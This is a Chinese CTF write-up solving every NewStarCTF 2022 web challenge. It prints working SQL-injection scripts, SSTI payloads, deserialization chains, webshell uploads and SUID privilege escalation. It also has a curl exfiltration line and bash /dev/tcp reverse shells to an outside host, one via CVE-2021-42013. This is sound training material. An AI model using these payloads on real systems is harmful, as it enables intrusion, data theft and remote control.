【Web】NewStarCTF 2022 题解(全)

Week1

HTTP

Head?Header!

我真的会谢

NotPHP

Word-For-You

Week2

Word-For-You(2 Gen)

IncludeOne

UnserializeOne

ezAPI

Week3

BabySSTI_One

multiSQL

IncludeTwo

Maybe You Have To think More

Week4

So Baby RCE

BabySSTI_Two

UnserializeThree

又一个SQL

Rome

Week5

Give me your photo PLZ

Unsafe Apache

So Baby RCE Again

BabySSTI_Three

Final round

Week1

HTTP

按照提示传参就行

Head?Header!

按要求传参即可

我真的会谢

常规信息搜集来一套

访问/robots.txt

访问/www.zip

邮件查看源码有一段提示

访问/.index.php.swp

拼起来即可

NotPHP

瞪眼看就完了

payload:

?data=data://text/plain,Welcome to CTF&key1[]=1&key2[]=2&cmd=%0asystem('tac /f*');

num=2077.a

Word-For-You

题目提示flag在数据库中

有留言功能，有查询功能

万能密码

payload:

NewCTFer' or '1'='1

Week2

Word-For-You(2 Gen)

跑sqlmap梭就可

sqlmap -u http://001b81ea-46b4-492b-be09-56912a4c5fd4.node5.buuoj.cn:81/comments.php --data="name=NewCTFer" --random-agent -D wfy -T wfy_comments --dump-all --batch

IncludeOne

种子伪随机，md_rand是1219893521

【php】mt_rand 伪随机数漏洞_mt_rand漏洞-CSDN博客

跑出来种子为1145146

<?php
$a = mt_srand(1145146);
echo mt_rand();
echo "<br>";
echo mt_rand();
echo "<br>";

跑出下一个随机数

base被ban可以用rot13来读，NewStar关键字塞进伪协议即可

payload:

?file=php://filter/NewStar/read=string.rot13/resource=flag.php
guess=1202031004

右键查看源码

rot13解密拿到flag

UnserializeOne

瞪眼看链子

Start#__destruct -> Sec#__toString -> Easy#__call -> eeee#__clone ->Start#__isset -> Sec#__invoke

exp

<?php
class Start{
    public $name;
    public $func;

}

class Sec{
    public $obj;
    public $var;

}

class Easy
{
    public $cla;
}

class eeee{
    public $obj;

}

$a=new Start();
$b=new Sec();
$c=new Easy();
$d=new eeee();
$e=new Start();
$f=new Sec();
$e->func=$f;
$d->obj=$e;
$b->var=$d;
$b->obj=$c;
$a->name=$b;
echo serialize($a);

payload:


pop=O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";O:5:"Start":2:{s:4:"name";N;s:4:"func";O:3:"Sec":2:{s:3:"obj";N;s:3:"var";N;}}}}s:4:"func";N;}

ezAPI

提示只能输入数字，字母是一点都注不了

信息搜集，访问/www.zip拿到源码

<?php
                error_reporting(0);
                $id = $_POST['id'];
                function waf($str)
                {
                    if (!is_numeric($str) || preg_replace("/[0-9]/", "", $str) !== "") {
                        return False;
                    } else {
                        return True;
                    }
                }

                function send($data)
                {
                    $options = array(
                        'http' => array(
                            'method' => 'POST',
                            'header' => 'Content-type: application/json',
                            'content' => $data,
                            'timeout' => 10 * 60
                        )
                    );
                    $context = stream_context_create($options);
                    $result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);
                    return $result;
                }

                if (isset($id)) {
                    if (waf($id)) {
                        isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}';
                        $res = json_decode(send($data));
                        if ($res->data->users_user_by_pk->name !== NULL) {
                            echo "ID: " . $id . "<br>Name: " . $res->data->users_user_by_pk->name;
                        } else {
                            echo "<b>Can't found it!</b><br><br>DEBUG: ";
                            var_dump($res->data);
                        }
                    } else {
                        die("<b>Hacker! Only Number!</b>");
                    }
                } else {
                    die("<b>No Data?</b>");
                }
                ?>

看到其通过garphql来查询数据

当CTF遇上GraphQL的那些事

payload:

data={"query":"query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}"}&id=1

payload:

data={"query":"query{\nffffllllaaagggg_1n_h3r3_flag{\nflag\n}\n}\n", "variables":null}&id=1

Week3

BabySSTI_One

提示是flask的ssti

测出回显位

分享一个过waf巨好用的脚本

import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36'
}
cl = '\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f'  # __class__
ba = '\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f'  # __bases__
gi = '\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f'  # __getitem__
su = '\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f'  # __subclasses__
ii = '\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f'  # __init__
go = '\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f'  # __golobals__
po = '\\u0070\\u006f\\u0070\\u0065\\u006e'  # __popen__

for i in range(500):
    url = "http://0e45278a-2302-48fd-8761-130afa4fdc37.node5.buuoj.cn:81/?name="+'{%if(""|' +f'attr("{cl}")' +f'|attr("{ba}")' +f'|attr("{gi}")(0)' +f'|attr("{su}")()' +f'|attr("{gi}")(' +str(i) +f')|attr("{ii}")' +f'|attr("{go}")' +f'|attr("{gi}")' +f'("{po}"))' +'%}success' +'{%endif%}'

    res = requests.get(url=url, headers=headers)
    if 'success' in res.text:
        print(i)

跑出来是117

import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36'
}
cl = '\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f'  # __class__
ba = '\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f'  # __bases__
gi = '\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f'  # __getitem__
su = '\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f'  # __subclasses__
ii = '\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f'  # __init__
go = '\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f'  # __golobals__
po = '\\u0070\\u006f\\u0070\\u0065\\u006e'  # __popen__
cmd = '\\u0063\\u0075\\u0072\\u006c\\u0020\\u0031\\u0032\\u0034\\u002e\\u0032\\u0032\\u0032\\u002e\\u0031\\u0033\\u0036\\u002e\\u0033\\u0033\\u003a\\u0031\\u0033\\u0033\\u0037\\u003f\\u0066\\u006c\\u0061\\u0067\\u003d\\u0060\\u0063\\u0061\\u0074\\u0020\\u002f\\u0066\\u002a\\u0060'
# curl 124.222.136.33:1337?flag=`cat /f*`
i = 117
url = "http://0e45278a-2302-48fd-8761-130afa4fdc37.node5.buuoj.cn:81/?name="+'{%if(""|' +f'attr("{cl}")' +f'|attr("{ba}")' +f'|attr("{gi}")(0)' +f'|attr("{su}")()' +f'|attr("{gi}")(' +str(i) +f')|attr("{ii}")' +f'|attr("{go}")' +f'|attr("{gi}")' +f'("{po}"))' +f'("{cmd}")' +'%}success' +'{%endif%}'

res = requests.get(url=url, headers=headers)
print(res.text)

外带数据拿到flag

multiSQL

提示堆叠注入

点击验证成绩

感觉就是强网杯2019随便注那题改的

对关键词有过滤，无法大小写绕过，测出select,update,insert和union都被ban了

1';show tables;#

1';show columns from score;#

之后的部分直接打预编译

<?php
echo "0x".bin2hex("update score set listen = 200 where username = '火华';");

//0x7570646174652073636f726520736574206c697374656e203d2032303020776865726520757365726e616d65203d2027e781abe58d8e273b

1';set @a = 0x7570646174652073636f726520736574206c697374656e203d2032303020776865726520757365726e616d65203d2027e781abe58d8e273b;prepare smtm_test from @a;execute smtm_test;#

点击验证成绩，拿到flag

IncludeTwo

直接打pearcmd

关于利用pearcmd进行文件包含的一些总结 | W4rsp1t3's blog

bp发包，先写马

?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST['cmd']);?>+/tmp/shell.php

再包含🐎，命令执行

?file=/tmp/shell

Maybe You Have To think More

随便输个用户名，发包

响应头进行Set-Cookie，显然一个base64编码，所以打入的时候也要base64encode一下

之前整理过相关exp

【Web】CTFSHOW-ThinkPHP5-6反序列化刷题记录(全)-CSDN博客

urlencode改base64_encode就能直接打

读环境变量拿flag

Week4

So Baby RCE

目录穿越，读文件

cd / -> cd ..&&cd ..&&cd ..

cat -> ca$1t/ca$@t

?cmd=cd%09..%26%26cd%09..%26%26cd%09..%26%26ca$1t%09ffff?lllaaaaggggg

或者

?cmd=cd%09..%26%26cd%09..%26%26cd%09..%26%26ca$@t%09ffff?lllaaaaggggg

BabySSTI_Two

遇事不决，unicode编码一下

payload:

{{url_for.__getitem__['\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f']['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f\u0028\u0027\u006f\u0073\u0027\u0029\u002e\u0070\u006f\u0070\u0065\u006e\u0028\u0027\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067\u005f\u0069\u006e\u005f\u0068\u0033\u0072\u0033\u005f\u0035\u0032\u0064\u0061\u0061\u0064\u0027\u0029\u002e\u0072\u0065\u0061\u0064\u0028\u0029')}}

UnserializeThree

看这描述估计phar反序列化，这不随便秒

初始界面可以上传文件

常规信息搜集看到class.php

file_exists可以触发phar反序列化

Evil类作为攻击的恶意类

但是eval中#需要换行来绕过，ban了%0a(\n)可以用\r

exp生成phar文件

<?php

class Evil
{
    public $cmd="\rsystem('tac /f*');";
}

$a = new Evil();

$phar = new Phar("ns.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER(); ?>");

$phar -> setMetadata($a);

$phar -> addFromString("test.txt", "test");
$phar -> stopBuffering();

先上传恶意phar文件(改下后缀)

然后phar伪协议触发phar反序列化

?file=phar:///var/www/html/upload/b2f268d362a679d4738d49c492671e53.png

命令执行拿到flag

又一个SQL

根据提示输入100，得到flag位置

测出布尔盲注

过滤了空格，/**/

用^和()配合避免空格的出现

盲注脚本

import requests
import time

s = requests.Session()
url = 'http://5bcf61f9-0450-41b9-99f0-11e4c61d02e2.node5.buuoj.cn:81/comments.php'
flag = ''
i = 0
d = 0
while d == 0:
    i = i + 1
    low = 32
    high = 128
    while low < high:
        l = (low + high) // 2
        # payload = f"1^(ascii(substr((select(database())),{i},1))>{l})"
        # payload = f"1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{l})+'0"
        # payload = f"1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{l})"
        # payload = f"1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='wfy_comments')),{i},1))>{l})"
        payload = f"1^(ascii(substr((select(text)from(wfy_comments)where(user='f1ag_is_here')),{i},1))>{l})"
        data = {
            "name": payload
        }
        r = s.post(url=url, data=data)
        r.encoding = "utf-8"
        if '好耶' in r.text:
            high = l
        else:
            low = l + 1
        time.sleep(0.2)
    if low != 32:
        flag += chr(low)
        print(flag)
    else:
        break
print(flag)

跑出来结果

Rome

环境有rome依赖和spring依赖

反序列化入口

没有任何waf限制，一眼顶针，鉴定为烂

yso梭就行

java -jar ysoserial.jar ROME "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=}|{base64,-d}|{bash,-i}" > payload

cat payload | base64 -w 0

urlencode keyword后直接在初始路由打入

监听，反弹shell，拿flag

Week5

Give me your photo PLZ

玩个骚操作直接秒了

先上传.htaccess

#define width 1;
#define height 1;
AddType application/x-httpd-php .png
php_value auto_append_file "php://filter/convert.base64-decode/resource=base64yjh.png"

再上传base64yjh.png

PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+

访问/upload/base64yjh.png，连蚁剑，读/flag

虚拟终端中执行env命令

Unsafe Apache

抓包，看响应头，看到是Apache/2.4.50

之前刷NSSRound赛的时候多次碰到Apache/2.4.49的RCE漏洞，这题也是现搜就完了

Apache HTTP Server 2.4.50 中的路径遍历和文件泄露漏洞（CVE-2021-42013）

其实二者几乎一模一样，经过尝试可以利用

直接打反弹shell

/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh

echo;bash -c 'bash -i >& /dev/tcp/124.222.136.33/1337 0>&1'

监听，反弹shell，拿到flag

So Baby RCE Again

【Web】无回显RCE相关例题wp(1)

直接写马

?cmd=echo '<?php @eval($_POST[1])?>' > yjh.php

连蚁剑，读flag无权限

【Web】超级详细的Linux权限提升一站式笔记_linux提权读取文件-CSDN博客

find / -user root -perm -4000 -print 2>/dev/null

带有SUID权限位的提权方法

date -f /ffll444aaggg

date提权读文件，拿flag

BabySSTI_Three

遇事不决unicode

{{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f'][0]['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[自己爆]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x70\x6f\x70\x65\x6e']('tac${IFS}/f*').read()}}

爆出来是117，拿到flag

Final round

主要是空格的处理，/**/和/*关键字*/都被ban了，可以用%0c

黑客常用SQL注入绕过技术总结！-腾讯云开发者社区-腾讯云

测出可以时间盲注

时间盲注脚本，请：

import requests
import time

s = requests.session()
url = 'http://9a6f4477-9b46-4c41-935e-e0ee2ec50677.node5.buuoj.cn:81/comments.php?name='
flag = ''
i = 0
d = 0
while d == 0:
    i = i + 1
    low = 32
    high = 127
    while low < high:
        mid = (low + high) // 2
        # payload = f'1%0cand%0cif((ascii(substr(database(),{i},1))>{mid}),1,sleep(3))'
        # payload = f'1%0cand%0cif(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid},1,sleep(3))'
        # payload = f'1%0cand%0cif(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="wfy_comments")),{i},1))>{mid},1,sleep(3))'
        payload = f'1%0cand%0cif(ascii(substr((select(text)from(wfy_comments)where(user="f1ag_is_here")),{i},1))>{mid},1,sleep(3))'
        stime = time.time()
        url1 = url + payload
        r = s.get(url=url1)
        r.encoding = "utf-8"
        if time.time() - stime < 2:
            low = mid + 1
        else:
            high = mid
    if low != 32:
        flag += chr(low)
    else:
        break
    print(flag)

成功跑出flag